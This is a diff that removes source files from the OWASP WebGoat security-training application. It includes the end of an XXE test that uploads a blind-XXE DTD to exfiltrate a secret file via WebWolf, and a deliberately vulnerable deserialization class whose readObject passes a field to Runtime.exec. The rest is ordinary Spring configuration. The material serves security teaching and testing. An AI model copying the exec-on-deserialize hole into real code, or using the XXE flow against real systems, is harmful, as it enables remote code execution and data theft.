-   * @throws IOException
-   */
-  private String getSecret() throws IOException {
-    // remove any left over DTD
-    Path webWolfFilePath = Paths.get(webWolfFileServerLocation);
-    if (webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")).toFile().exists()) {
-      Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")));
-    }
-    String secretFile = webGoatHomeDirectory.concat("/XXE/" + getUser() + "/secret.txt");
-    String dtd7String =
-        dtd7.replace("WEBWOLFURL", webWolfUrl("landing")).replace("SECRET", secretFile);
-
-    // upload DTD
-    RestAssured.given()
-        .when()
-        .relaxedHTTPSValidation()
-        .cookie("WEBWOLFSESSION", getWebWolfCookie())
-        .multiPart("file", "blind.dtd", dtd7String.getBytes())
-        .post(webWolfUrl("fileupload"))
-        .then()
-        .extract()
-        .response()
-        .getBody()
-        .asString();
-    // upload attack
-    String xxe7String =
-        xxe7.replace("WEBWOLFURL", webWolfUrl("files")).replace("USERNAME", this.getUser());
-    checkAssignment(url("xxe/blind"), ContentType.XML, xxe7String, false);
-
-    // read results from WebWolf
-    String result =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("WEBWOLFSESSION", getWebWolfCookie())
-            .get(webWolfUrl("requests"))
-            .then()
-            .extract()
-            .response()
-            .getBody()
-            .asString();
-    result = result.replace("%20", " ");
-    if (-1 != result.lastIndexOf("WebGoat 8.0 rocks... (")) {
-      result =
-          result.substring(
-              result.lastIndexOf("WebGoat 8.0 rocks... ("),
-              result.lastIndexOf("WebGoat 8.0 rocks... (") + 33);
-    }
-    return result;
-  }
-
-  @Test
-  public void runTests() throws IOException {
-    startLesson("XXE", true);
-    webGoatHomeDirectory = webGoatServerDirectory();
-    webWolfFileServerLocation = getWebWolfFileServerLocation();
-    checkAssignment(url("xxe/simple"), ContentType.XML, xxe3, true);
-    checkAssignment(url("xxe/content-type"), ContentType.XML, xxe4, true);
-    checkAssignment(
-        url("xxe/blind"),
-        ContentType.XML,
-        "<comment><text>" + getSecret() + "</text></comment>",
-        true);
-    checkResults("xxe/");
-  }
-}

src/main/java/org/dummy/insecure/framework/VulnerableTaskHolder.java

@@ -1,76 +0,0 @@
-package org.dummy.insecure.framework;
-
-import java.io.BufferedReader;
-import java.io.IOException;
-import java.io.InputStreamReader;
-import java.io.ObjectInputStream;
-import java.io.Serializable;
-import java.time.LocalDateTime;
-import lombok.extern.slf4j.Slf4j;
-
-@Slf4j
-// TODO move back to lesson
-public class VulnerableTaskHolder implements Serializable {
-
-  private static final long serialVersionUID = 2;
-
-  private String taskName;
-  private String taskAction;
-  private LocalDateTime requestedExecutionTime;
-
-  public VulnerableTaskHolder(String taskName, String taskAction) {
-    super();
-    this.taskName = taskName;
-    this.taskAction = taskAction;
-    this.requestedExecutionTime = LocalDateTime.now();
-  }
-
-  @Override
-  public String toString() {
-    return "VulnerableTaskHolder [taskName="
-        + taskName
-        + ", taskAction="
-        + taskAction
-        + ", requestedExecutionTime="
-        + requestedExecutionTime
-        + "]";
-  }
-
-  /**
-   * Execute a task when de-serializing a saved or received object.
-   *
-   * @author stupid develop
-   */
-  private void readObject(ObjectInputStream stream) throws Exception {
-    // unserialize data so taskName and taskAction are available
-    stream.defaultReadObject();
-
-    // do something with the data
-    log.info("restoring task: {}", taskName);
-    log.info("restoring time: {}", requestedExecutionTime);
-
-    if (requestedExecutionTime != null
-        && (requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))
-            || requestedExecutionTime.isAfter(LocalDateTime.now()))) {
-      // do nothing is the time is not within 10 minutes after the object has been created
-      log.debug(this.toString());
-      throw new IllegalArgumentException("outdated");
-    }
-
-    // condition is here to prevent you from destroying the goat altogether
-    if ((taskAction.startsWith("sleep") || taskAction.startsWith("ping"))
-        && taskAction.length() < 22) {
-      log.info("about to execute: {}", taskAction);
-      try {
-        Process p = Runtime.getRuntime().exec(taskAction);
-        BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));
-        String line = null;
-        while ((line = in.readLine()) != null) {
-          log.info(line);
-        }
-      } catch (IOException e) {
-        log.error("IO Exception", e);
-      }
-    }
-  }
-}

src/main/java/org/owasp/webgoat/container/AjaxAuthenticationEntryPoint.java

@@ -1,59 +0,0 @@
-/**
- * *************************************************************************************************
- *
- * <p>
- *
- * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
- * please see http://www.owasp.org/
- *
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
- *
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
- * GNU General Public License as published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * <p>You should have received a copy of the GNU General Public License along with this program; if
- * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- *
- * <p>Getting Source ==============
- *
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
- * for free software projects.
- */
-package org.owasp.webgoat.container;
-
-import jakarta.servlet.ServletException;
-import jakarta.servlet.http.HttpServletRequest;
-import jakarta.servlet.http.HttpServletResponse;
-import java.io.IOException;
-import org.springframework.security.core.AuthenticationException;
-import org.springframework.security.web.authentication.LoginUrlAuthenticationEntryPoint;
-
-/**
- * AjaxAuthenticationEntryPoint class.
- *
- * @author zupzup
- */
-public class AjaxAuthenticationEntryPoint extends LoginUrlAuthenticationEntryPoint {
-  public AjaxAuthenticationEntryPoint(String loginFormUrl) {
-    super(loginFormUrl);
-  }
-
-  @Override
-  public void commence(
-      HttpServletRequest request,
-      HttpServletResponse response,
-      AuthenticationException authException)
-      throws IOException, ServletException {
-    if (request.getHeader("x-requested-with") != null) {
-      response.sendError(401, authException.getMessage());
-    } else {
-      super.commence(request, response, authException);
-    }
-  }
-}

src/main/java/org/owasp/webgoat/container/AsciiDoctorTemplateResolver.java

@@ -1,172 +0,0 @@
-/**
- * ************************************************************************************************
- * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
- * please see http://www.owasp.org/
- *
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
- *
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
- * GNU General Public License as published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * <p>You should have received a copy of the GNU General Public License along with this program; if
- * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- *
- * <p>Getting Source ==============
- *
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
- * for free software projects.
- *
- * <p>
- *
- * @author WebGoat
- * @version $Id: $Id
- * @since December 12, 2015
- */
-package org.owasp.webgoat.container;
-
-import static org.asciidoctor.Asciidoctor.Factory.create;
-
-import io.undertow.util.Headers;
-import jakarta.servlet.http.HttpServletRequest;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.InputStreamReader;
-import java.io.StringWriter;
-import java.util.HashMap;
-import java.util.Locale;
-import java.util.Map;
-import java.util.Set;
-import lombok.extern.slf4j.Slf4j;
-import org.asciidoctor.Asciidoctor;
-import org.asciidoctor.extension.JavaExtensionRegistry;
-import org.owasp.webgoat.container.asciidoc.*;
-import org.owasp.webgoat.container.i18n.Language;
-import org.springframework.core.io.ResourceLoader;
-import org.springframework.web.context.request.RequestContextHolder;
-import org.springframework.web.context.request.ServletRequestAttributes;
-import org.springframework.web.servlet.i18n.SessionLocaleResolver;
-import org.thymeleaf.IEngineConfiguration;
-import org.thymeleaf.templateresolver.FileTemplateResolver;
-import org.thymeleaf.templateresource.ITemplateResource;
-import org.thymeleaf.templateresource.StringTemplateResource;
-
-/**
- * Thymeleaf resolver for AsciiDoc used in the lesson, can be used as follows inside a lesson file:
- *
- * <p><code>
- * <div th:replace="~{doc:AccessControlMatrix_plan.adoc}"></div>
- * </code>
- */
-@Slf4j
-public class AsciiDoctorTemplateResolver extends FileTemplateResolver {
-
-  private static final Asciidoctor asciidoctor = create();
-  private static final String PREFIX = "doc:";
-
-  private final Language language;
-  private final ResourceLoader resourceLoader;
-
-  public AsciiDoctorTemplateResolver(Language language, ResourceLoader resourceLoader) {
-    this.resourceLoader = resourceLoader;
-    this.language = language;
-    setResolvablePatterns(Set.of(PREFIX + "*"));
-  }
-
-  @Override
-  protected ITemplateResource computeTemplateResource(
-      IEngineConfiguration configuration,
-      String ownerTemplate,
-      String template,
-      String resourceName,
-      String characterEncoding,
-      Map<String, Object> templateResolutionAttributes) {
-    var templateName = resourceName.substring(PREFIX.length());
-    log.debug("template used: {}", templateName);
-    try (InputStream is = getInputStream(templateName)) {
-      JavaExtensionRegistry extensionRegistry = asciidoctor.javaExtensionRegistry();
-      extensionRegistry.inlineMacro("webWolfLink", WebWolfMacro.class);
-      extensionRegistry.inlineMacro("webWolfRootLink", WebWolfRootMacro.class);
-      extensionRegistry.inlineMacro("webGoatVersion", WebGoatVersionMacro.class);
-      extensionRegistry.inlineMacro("webGoatTempDir", WebGoatTmpDirMacro.class);
-      extensionRegistry.inlineMacro("operatingSystem", OperatingSystemMacro.class);
-      extensionRegistry.inlineMacro("username", UsernameMacro.class);
-
-      StringWriter writer = new StringWriter();
-      asciidoctor.convert(new InputStreamReader(is), writer, createAttributes());
-      return new StringTemplateResource(writer.getBuffer().toString());
-    } catch (IOException e) {
-      return new StringTemplateResource(
-          "<div>Unable to find documentation for: " + templateName + " </div>");
-    }
-  }
-
-  private InputStream getInputStream(String templateName) throws IOException {
-    log.debug("locale: {}", language.getLocale().getLanguage());
-    String computedResourceName =
-        computeResourceName(templateName, language.getLocale().getLanguage());
-    if (resourceLoader
-        .getResource("classpath:/" + computedResourceName)
-        .isReadable() /*isFile()*/) {
-      log.debug("localized file exists");
-      return resourceLoader.getResource("classpath:/" + computedResourceName).getInputStream();
-    } else {
-      log.debug("using english template");
-      return resourceLoader.getResource("classpath:/" + templateName).getInputStream();
-    }
-  }
-
-  private String computeResourceName(String resourceName, String language) {
-    String computedResourceName;
-    if (language.equals("en")) {
-      computedResourceName = resourceName;
-    } else {
-      computedResourceName = resourceName.replace(".adoc", "_".concat(language).concat(".adoc"));
-    }
-    log.debug("computed local file name: {}", computedResourceName);
-    log.debug(
-        "file exists: {}",
-        resourceLoader.getResource("classpath:/" + computedResourceName).isReadable());
-    return computedResourceName;
-  }
-
-  private Map<String, Object> createAttributes() {
-    Map<String, Object> attributes = new HashMap<>();
-    attributes.put("source-highlighter", "coderay");
-    attributes.put("backend", "xhtml");
-    attributes.put("lang", determineLanguage());
-    attributes.put("icons", org.asciidoctor.Attributes.FONT_ICONS);
-
-    Map<String, Object> options = new HashMap<>();
-    options.put("attributes", attributes);
-
-    return options;
-  }
-
-  private String determineLanguage() {
-    HttpServletRequest request =
-        ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest();
-
-    Locale browserLocale =
-        (Locale)
-            request.getSession().getAttribute(SessionLocaleResolver.LOCALE_SESSION_ATTRIBUTE_NAME);
-    if (null != browserLocale) {
-      log.debug("browser locale {}", browserLocale);
-      return browserLocale.getLanguage();
-    } else {
-      String langHeader = request.getHeader(Headers.ACCEPT_LANGUAGE_STRING);
-      if (null != langHeader) {
-        log.debug("browser locale {}", langHeader);
-        return langHeader.substring(0, 2);
-      } else {
-        log.debug("browser default english");
-        return "en";
-      }
-    }
-  }
-}

src/main/java/org/owasp/webgoat/container/DatabaseConfiguration.java

@@ -1,68 +0,0 @@
-package org.owasp.webgoat.container;
-
-import java.util.Map;
-import java.util.function.Function;
-import javax.sql.DataSource;
-import lombok.RequiredArgsConstructor;
-import lombok.extern.slf4j.Slf4j;
-import org.flywaydb.core.Flyway;
-import org.owasp.webgoat.container.lessons.LessonScanner;
-import org.owasp.webgoat.container.service.RestartLessonService;
-import org.springframework.boot.autoconfigure.jdbc.DataSourceProperties;
-import org.springframework.context.annotation.Bean;
-import org.springframework.context.annotation.Configuration;
-import org.springframework.context.annotation.Primary;
-import org.springframework.jdbc.datasource.DriverManagerDataSource;
-
-@Configuration
-@RequiredArgsConstructor
-@Slf4j
-public class DatabaseConfiguration {
-
-  private final DataSourceProperties properties;
-  private final LessonScanner lessonScanner;
-
-  @Bean
-  @Primary
-  public DataSource dataSource() {
-    DriverManagerDataSource dataSource = new DriverManagerDataSource();
-    dataSource.setDriverClassName(properties.getDriverClassName());
-    dataSource.setUrl(properties.getUrl());
-    dataSource.setUsername(properties.getUsername());
-    dataSource.setPassword(properties.getPassword());
-    return dataSource;
-  }
-
-  /**
-   * Define 2 Flyway instances, 1 for WebGoat itself which it uses for internal storage like users
-   * and 1 for lesson specific tables we use. This way we clean the data in the lesson database
-   * quite easily see {@link RestartLessonService#restartLesson()} for how we clean the lesson
-   * related tables.
-   */
-  @Bean(initMethod = "migrate")
-  public Flyway flyWayContainer() {
-    return Flyway.configure()
-        .configuration(Map.of("driver", properties.getDriverClassName()))
-        .dataSource(dataSource())
-        .schemas("container")
-        .locations("db/container")
-        .load();
-  }
-
-  @Bean
-  public Function<String, Flyway> flywayLessons() {
-    return schema ->
-        Flyway.configure()
-            .configuration(Map.of("driver", properties.getDriverClassName()))
-            .schemas(schema)
-            .cleanDisabled(false)
-            .dataSource(dataSource())
-            .locations("lessons")
-            .load();
-  }
-
-  @Bean
-  public LessonDataSource lessonDataSource() {
-    return new LessonDataSource(dataSource());
-  }
-}

src/main/java/org/owasp/webgoat/container/HammerHead.java

@@ -1,56 +0,0 @@
-package org.owasp.webgoat.container;
-
-import lombok.AllArgsConstructor;
-import org.owasp.webgoat.container.session.Course;
-import org.springframework.stereotype.Controller;
-import org.springframework.web.bind.annotation.RequestMapping;
-import org.springframework.web.bind.annotation.RequestMethod;
-import org.springframework.web.servlet.ModelAndView;
-
-/**
- * *************************************************************************************************
- *
- * <p>
- *
- * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
- * please see http://www.owasp.org/
- *
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
- *
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
- * GNU General Public License as published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * <p>You should have received a copy of the GNU General Public License along with this program; if
- * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- *
- * <p>Getting Source ==============
- *
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
- * for free software projects.
- *
- * @author Jeff Williams
- * @author Bruce Mayhew
- * @author Nanne Baars
- * @version $Id: $Id
- * @since October 28, 2003
- */
-@Controller
-@AllArgsConstructor
-public class HammerHead {
-
-  private final Course course;
-
-  /** Entry point for WebGoat, redirects to the first lesson found within the course. */
-  @RequestMapping(
-      path = "/attack",
-      method = {RequestMethod.GET, RequestMethod.POST})
-  public ModelAndView attack() {
-    return new ModelAndView("redirect:" + "start.mvc" + course.getFirstLesson().getLink());
-  }
-}

src/main/java/org/owasp/webgoat/container/LessonDataSource.java

@@ -1,70 +0,0 @@
-package org.owasp.webgoat.container;
-
-import java.io.PrintWriter;
-import java.lang.reflect.Proxy;
-import java.sql.Connection;
-import java.sql.SQLException;
-import java.sql.SQLFeatureNotSupportedException;
-import java.util.logging.Logger;
-import javax.sql.DataSource;
-import org.owasp.webgoat.container.lessons.LessonConnectionInvocationHandler;
-import org.springframework.jdbc.datasource.ConnectionProxy;
-
-public class LessonDataSource implements DataSource {
-
-  private final DataSource originalDataSource;
-
-  public LessonDataSource(DataSource dataSource) {
-    this.originalDataSource = dataSource;
-  }
-
-  @Override
-  public Connection getConnection() throws SQLException {
-    var targetConnection = originalDataSource.getConnection();
-    return (Connection)
-        Proxy.newProxyInstance(
-            ConnectionProxy.class.getClassLoader(),
-            new Class[] {ConnectionProxy.class},
-            new LessonConnectionInvocationHandler(targetConnection));
-  }
-
-  @Override
-  public Connection getConnection(String username, String password) throws SQLException {
-    return originalDataSource.getConnection(username, password);
-  }
-
-  @Override
-  public PrintWriter getLogWriter() throws SQLException {
-    return originalDataSource.getLogWriter();
-  }
-
-  @Override
-  public void setLogWriter(PrintWriter out) throws SQLException {
-    originalDataSource.setLogWriter(out);
-  }
-
-  @Override
-  public void setLoginTimeout(int seconds) throws SQLException {
-    originalDataSource.setLoginTimeout(seconds);
-  }
-
-  @Override
-  public int getLoginTimeout() throws SQLException {
-    return originalDataSource.getLoginTimeout();
-  }
-
-  @Override
-  public Logger getParentLogger() throws SQLFeatureNotSupportedException {
-    return originalDataSource.getParentLogger();
-  }
-
-  @Override
-  public <T> T unwrap(Class<T> clazz) throws SQLException {
-    return originalDataSource.unwrap(clazz);
-  }
-
-  @Override
-  public boolean isWrapperFor(Class<?> clazz) throws SQLException {
-    return originalDataSource.isWrapperFor(clazz);
-  }
-}

src/main/java/org/owasp/webgoat/container/LessonTemplateResolver.java

@@ -1,90 +0,0 @@
-/**
- * ************************************************************************************************
- *
- * <p>
- *
- * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
- * please see http://www.owasp.org/
- *
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
- *
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
- * GNU General Public License as published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * <p>You should have received a copy of the GNU General Public License along with this program; if
- * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- *
- * <p>Getting Source ==============
- *
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
- * for free software projects.
- *
- * @author WebGoat
- * @version $Id: $Id
- * @since October 28, 2003
- */
-package org.owasp.webgoat.container;
-
-import java.io.IOException;
-import java.nio.charset.StandardCharsets;
-import java.util.HashMap;
-import java.util.Map;
-import java.util.Set;
-import lombok.extern.slf4j.Slf4j;
-import org.springframework.core.io.ResourceLoader;
-import org.thymeleaf.IEngineConfiguration;
-import org.thymeleaf.templateresolver.FileTemplateResolver;
-import org.thymeleaf.templateresource.ITemplateResource;
-import org.thymeleaf.templateresource.StringTemplateResource;
-
-/**
- * Dynamically resolve a lesson. In the html file this can be invoked as: <code>
- * <div th:case="true" th:replace="lesson:__${lesson.class.simpleName}__"></div>
- * </code>
- *
- * <p>Thymeleaf will invoke this resolver based on the prefix and this implementation will resolve
- * the html in the plugins directory
- */
-@Slf4j
-public class LessonTemplateResolver extends FileTemplateResolver {
-
-  private static final String PREFIX = "lesson:";
-  private ResourceLoader resourceLoader;
-  private Map<String, byte[]> resources = new HashMap<>();
-
-  public LessonTemplateResolver(ResourceLoader resourceLoader) {
-    this.resourceLoader = resourceLoader;
-    setResolvablePatterns(Set.of(PREFIX + "*"));
-  }
-
-  @Override
-  protected ITemplateResource computeTemplateResource(
-      IEngineConfiguration configuration,
-      String ownerTemplate,
-      String template,
-      String resourceName,
-      String characterEncoding,
-      Map<String, Object> templateResolutionAttributes) {
-    var templateName = resourceName.substring(PREFIX.length());
-    byte[] resource = resources.get(templateName);
-    if (resource == null) {
-      try {
-        resource =
-            resourceLoader
-                .getResource("classpath:/" + templateName)
-                .getInputStream()
-                .readAllBytes();
-      } catch (IOException e) {
-        log.error("Unable to find lesson HTML: {}", template);
-      }
-      resources.put(templateName, resource);
-    }
-    return new StringTemplateResource(new String(resource, StandardCharsets.UTF_8));
-  }
-}

src/main/java/org/owasp/webgoat/container/MvcConfiguration.java

@@ -1,261 +0,0 @@
-/**
- * ************************************************************************************************
- *
- * <p>
- *
- * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
- * please see http://www.owasp.org/
- *
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
- *
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
- * GNU General Public License as published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * <p>You should have received a copy of the GNU General Public License along with this program; if
- * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- *
- * <p>Getting Source ==============
- *
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
- * for free software projects.
- *
- * @author WebGoat
- * @version $Id: $Id
- * @since October 28, 2003
- */
-package org.owasp.webgoat.container;
-
-import java.io.IOException;
-import java.nio.charset.StandardCharsets;
-import java.util.Map;
-import java.util.Set;
-import lombok.RequiredArgsConstructor;
-import lombok.extern.slf4j.Slf4j;
-import org.owasp.webgoat.container.i18n.Language;
-import org.owasp.webgoat.container.i18n.Messages;
-import org.owasp.webgoat.container.i18n.PluginMessages;
-import org.owasp.webgoat.container.lessons.LessonScanner;
-import org.owasp.webgoat.container.session.LabelDebugger;
-import org.springframework.context.ApplicationContext;
-import org.springframework.context.annotation.Bean;
-import org.springframework.context.annotation.Configuration;
-import org.springframework.core.io.ResourceLoader;
-import org.springframework.core.io.support.ResourcePatternResolver;
-import org.springframework.web.servlet.LocaleResolver;
-import org.springframework.web.servlet.ViewResolver;
-import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
-import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry;
-import org.springframework.web.servlet.config.annotation.ViewControllerRegistry;
-import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
-import org.springframework.web.servlet.i18n.LocaleChangeInterceptor;
-import org.springframework.web.servlet.i18n.SessionLocaleResolver;
-import org.thymeleaf.IEngineConfiguration;
-import org.thymeleaf.extras.springsecurity6.dialect.SpringSecurityDialect;
-import org.thymeleaf.spring6.SpringTemplateEngine;
-import org.thymeleaf.spring6.templateresolver.SpringResourceTemplateResolver;
-import org.thymeleaf.spring6.view.ThymeleafViewResolver;
-import org.thymeleaf.templatemode.TemplateMode;
-import org.thymeleaf.templateresolver.FileTemplateResolver;
-import org.thymeleaf.templateresolver.ITemplateResolver;
-import org.thymeleaf.templateresource.ITemplateResource;
-import org.thymeleaf.templateresource.StringTemplateResource;
-
-/** Configuration for Spring MVC */
-@Configuration
-@RequiredArgsConstructor
-@Slf4j
-public class MvcConfiguration implements WebMvcConfigurer {
-
-  private static final String UTF8 = "UTF-8";
-
-  private final LessonScanner lessonScanner;
-
-  @Override
-  public void addViewControllers(ViewControllerRegistry registry) {
-    registry.addViewController("/login").setViewName("login");
-    registry.addViewController("/lesson_content").setViewName("lesson_content");
-    registry.addViewController("/start.mvc").setViewName("main_new");
-    registry.addViewController("/scoreboard").setViewName("scoreboard");
-  }
-
-  @Bean
-  public ViewResolver viewResolver(SpringTemplateEngine thymeleafTemplateEngine) {
-    ThymeleafViewResolver resolver = new ThymeleafViewResolver();
-    resolver.setTemplateEngine(thymeleafTemplateEngine);
-    resolver.setCharacterEncoding(StandardCharsets.UTF_8.displayName());
-    return resolver;
-  }
-
-  /**
-   * Responsible for loading lesson templates based on Thymeleaf, for example:
-   *
-   * <p><div th:include="/lessons/spoofcookie/templates/spoofcookieform.html" id="content"></div>
-   */
-  @Bean
-  public ITemplateResolver lessonThymeleafTemplateResolver(ResourceLoader resourceLoader) {
-    var resolver =
-        new FileTemplateResolver() {
-          @Override
-          protected ITemplateResource computeTemplateResource(
-              IEngineConfiguration configuration,
-              String ownerTemplate,
-              String template,
-              String resourceName,
-              String characterEncoding,
-              Map<String, Object> templateResolutionAttributes) {
-            try (var is =
-                resourceLoader.getResource("classpath:" + resourceName).getInputStream()) {
-              return new StringTemplateResource(
-                  new String(is.readAllBytes(), StandardCharsets.UTF_8));
-            } catch (IOException e) {
-              return null;
-            }
-          }
-        };
-    resolver.setOrder(1);
-    return resolver;
-  }
-
-  /** Loads all normal WebGoat specific Thymeleaf templates */
-  @Bean
-  public ITemplateResolver springThymeleafTemplateResolver(ApplicationContext applicationContext) {
-    SpringResourceTemplateResolver resolver = new SpringResourceTemplateResolver();
-    resolver.setPrefix("classpath:/webgoat/templates/");
-    resolver.setSuffix(".html");
-    resolver.setTemplateMode(TemplateMode.HTML);
-    resolver.setOrder(2);
-    resolver.setCharacterEncoding(UTF8);
-    resolver.setApplicationContext(applicationContext);
-    return resolver;
-  }
-
-  /** Loads the html for the complete lesson, see lesson_content.html */
-  @Bean
-  public LessonTemplateResolver lessonTemplateResolver(ResourceLoader resourceLoader) {
-    LessonTemplateResolver resolver = new LessonTemplateResolver(resourceLoader);
-    resolver.setOrder(0);
-    resolver.setCacheable(false);
-    resolver.setCharacterEncoding(UTF8);
-    return resolver;
-  }
-
-  /** Loads the lesson asciidoc. */
-  @Bean
-  public AsciiDoctorTemplateResolver asciiDoctorTemplateResolver(
-      Language language, ResourceLoader resourceLoader) {
-    log.debug("template locale {}", language);
-    AsciiDoctorTemplateResolver resolver =
-        new AsciiDoctorTemplateResolver(language, resourceLoader);
-    resolver.setCacheable(false);
-    resolver.setOrder(1);
-    resolver.setCharacterEncoding(UTF8);
-    return resolver;
-  }
-
-  @Bean
-  public SpringTemplateEngine thymeleafTemplateEngine(
-      ITemplateResolver springThymeleafTemplateResolver,
-      LessonTemplateResolver lessonTemplateResolver,
-      AsciiDoctorTemplateResolver asciiDoctorTemplateResolver,
-      ITemplateResolver lessonThymeleafTemplateResolver) {
-    SpringTemplateEngine engine = new SpringTemplateEngine();
-    engine.setEnableSpringELCompiler(true);
-    engine.addDialect(new SpringSecurityDialect());
-    engine.setTemplateResolvers(
-        Set.of(
-            lessonTemplateResolver,
-            asciiDoctorTemplateResolver,
-            lessonThymeleafTemplateResolver,
-            springThymeleafTemplateResolver));
-    return engine;
-  }
-
-  @Override
-  public void addResourceHandlers(ResourceHandlerRegistry registry) {
-    // WebGoat internal
-    registry.addResourceHandler("/css/**").addResourceLocations("classpath:/webgoat/static/css/");
-    registry.addResourceHandler("/js/**").addResourceLocations("classpath:/webgoat/static/js/");
-    registry
-        .addResourceHandler("/plugins/**")
-        .addResourceLocations("classpath:/webgoat/static/plugins/");
-    registry
-        .addResourceHandler("/fonts/**")
-        .addResourceLocations("classpath:/webgoat/static/fonts/");
-
-    // WebGoat lessons
-    registry
-        .addResourceHandler("/images/**")
-        .addResourceLocations(
-            lessonScanner.applyPattern("classpath:/lessons/%s/images/").toArray(String[]::new));
-    registry
-        .addResourceHandler("/lesson_js/**")
-        .addResourceLocations(
-            lessonScanner.applyPattern("classpath:/lessons/%s/js/").toArray(String[]::new));
-    registry
-        .addResourceHandler("/lesson_css/**")
-        .addResourceLocations(
-            lessonScanner.applyPattern("classpath:/lessons/%s/css/").toArray(String[]::new));
-    registry
-        .addResourceHandler("/lesson_templates/**")
-        .addResourceLocations(
-            lessonScanner.applyPattern("classpath:/lessons/%s/templates/").toArray(String[]::new));
-    registry
-        .addResourceHandler("/video/**")
-        .addResourceLocations(
-            lessonScanner.applyPattern("classpath:/lessons/%s/video/").toArray(String[]::new));
-  }
-
-  @Bean
-  public PluginMessages pluginMessages(
-      Messages messages, Language language, ResourcePatternResolver resourcePatternResolver) {
-    PluginMessages pluginMessages = new PluginMessages(messages, language, resourcePatternResolver);
-    pluginMessages.setDefaultEncoding("UTF-8");
-    pluginMessages.setBasenames("i18n/WebGoatLabels");
-    pluginMessages.setFallbackToSystemLocale(false);
-    return pluginMessages;
-  }
-
-  @Bean
-  public Language language(LocaleResolver localeResolver) {
-    return new Language(localeResolver);
-  }
-
-  @Bean
-  public LocaleResolver localeResolver() {
-    SessionLocaleResolver localeResolver = new SessionLocaleResolver();
-    return localeResolver;
-  }
-
-  @Bean
-  public LocaleChangeInterceptor localeChangeInterceptor() {
-    LocaleChangeInterceptor lci = new LocaleChangeInterceptor();
-    lci.setParamName("lang");
-    return lci;
-  }
-
-  @Override
-  public void addInterceptors(InterceptorRegistry registry) {
-    registry.addInterceptor(localeChangeInterceptor());
-    registry.addInterceptor(new UserInterceptor());
-  }
-
-  @Bean
-  public Messages messageSource(Language language) {
-    Messages messages = new Messages(language);
-    messages.setDefaultEncoding("UTF-8");
-    messages.setBasename("classpath:i18n/messages");
-    messages.setFallbackToSystemLocale(false);
-    return messages;
-  }
-
-  @Bean
-  public LabelDebugger labelDebugger() {
-    return new LabelDebugger();
-  }
-}

src/main/java/org/owasp/webgoat/container/UserInterceptor.java

@@ -1,53 +0,0 @@
-package org.owasp.webgoat.container;
-
-import jakarta.servlet.http.HttpServletRequest;
-import jakarta.servlet.http.HttpServletResponse;
-import org.owasp.webgoat.container.asciidoc.EnvironmentExposure;
-import org.springframework.core.env.Environment;
-import org.springframework.security.core.Authentication;
-import org.springframework.security.core.context.SecurityContextHolder;
-import org.springframework.web.servlet.HandlerInterceptor;
-import org.springframework.web.servlet.ModelAndView;
-
-public class UserInterceptor implements HandlerInterceptor {
-
-  private Environment env = EnvironmentExposure.getEnv();
-
-  @Override
-  public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler)
-      throws Exception {
-    // Do nothing
-    return true;
-  }
-
